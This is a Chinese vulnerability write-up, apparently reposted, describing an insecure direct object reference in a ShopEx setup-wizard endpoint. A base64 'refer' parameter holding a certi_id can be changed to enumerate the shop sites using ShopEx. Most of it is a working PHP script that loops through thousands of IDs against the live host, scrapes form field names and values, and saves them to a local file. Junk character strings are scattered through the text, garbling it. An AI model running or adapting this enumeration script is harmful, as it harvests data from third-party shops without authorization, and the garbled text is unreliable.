ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
6 j; i; T' o" x+ Q( HShopEx某接口缺陷,可遍历所有网站
详细说明：
; z, F* s6 N' }9 w问题出现在shopex 网店使用向导页面
  }2 T5 f+ s- c( [5 m
5 B, I! E7 o3 [* Q* R" ]; n2 e. v, ?; m

http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
8 j0 M& A8 S9 N* H
) a4 Z) `+ V& L8 Y( R
" [& K% n& I5 q" X9 K9 ?$ J
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
6 p" ?1 N( q, ]+ p4 ^; L- z, x

/ B' r, U' C6 J, m1 ~# q6 b7 x  k
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

2 Q6 z$ v1 F$ R- l$ Y
+ s% v3 t- {1 Y4 B6 J
<?php

                for ($i=1; $i < 10000; $i++) { //遍历
, v/ o6 E! C7 E' v, K1 }  M, x  q
                        ShowshopExD($i);
: M3 o8 K3 r' `. K% q
9 X' a% H) R" ^: E2 i% }  c                }
) I+ Z1 {) `) \6 z3 V
                function ShowshopExD($cid) {
, \- F* z% ^5 {
, g; w" l6 g0 D# L3 r8 L                $url='http://guide.ecos.shopex.cn/step2.php';
; m" V4 B2 e& g( M1 b" U8 W
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

7 u2 \) ~- `9 F" X1 J9 k9 l        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);
. o' N/ x. c) S. j- |* ]6 ~
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
: z, q6 V! q5 U
1 u! Z( ~- [1 O1 x6 k        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
- z( w% j( g9 c
1 f4 Q+ X1 n" j: K; \5 ^0 W) U        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
( n  V6 d& I7 N0 M* {
5 y9 P: C$ S3 E! E, S" w. Z6 M        if(strpos($result,$refer))

        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
3 e7 Y0 x- Z5 d) z& b
+ I. o% D: P9 G7 F9 O% n1 l                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
# E- L. z" Z& t6 \* z" J, m0 W& v
                        echo $res[1][0].':'.$res[3][0]."\r\n";
. p" g$ |# I, G5 P
& Q/ i# p# i  E4 q8 F2 v/ i                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
% j2 L2 }7 z4 [7 @
                }
( ]# h8 ]. H0 C1 g: _2 W1 m
: L, V# h9 f' I& z: r4 U- X                echo '--------------------------------'."\r\n";

2 @( W( n5 z( m* }" F7 p# r                fclose($fp);

        }
# d4 L& l$ ?( Q3 ?+ G7 z
        flush();

        curl_close($ch);
! N) V5 {! w! e1 R
" E( S) m2 X9 ^/ p' Z2 K                }
+ D8 ~* G& \% O7 b  p. P
?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式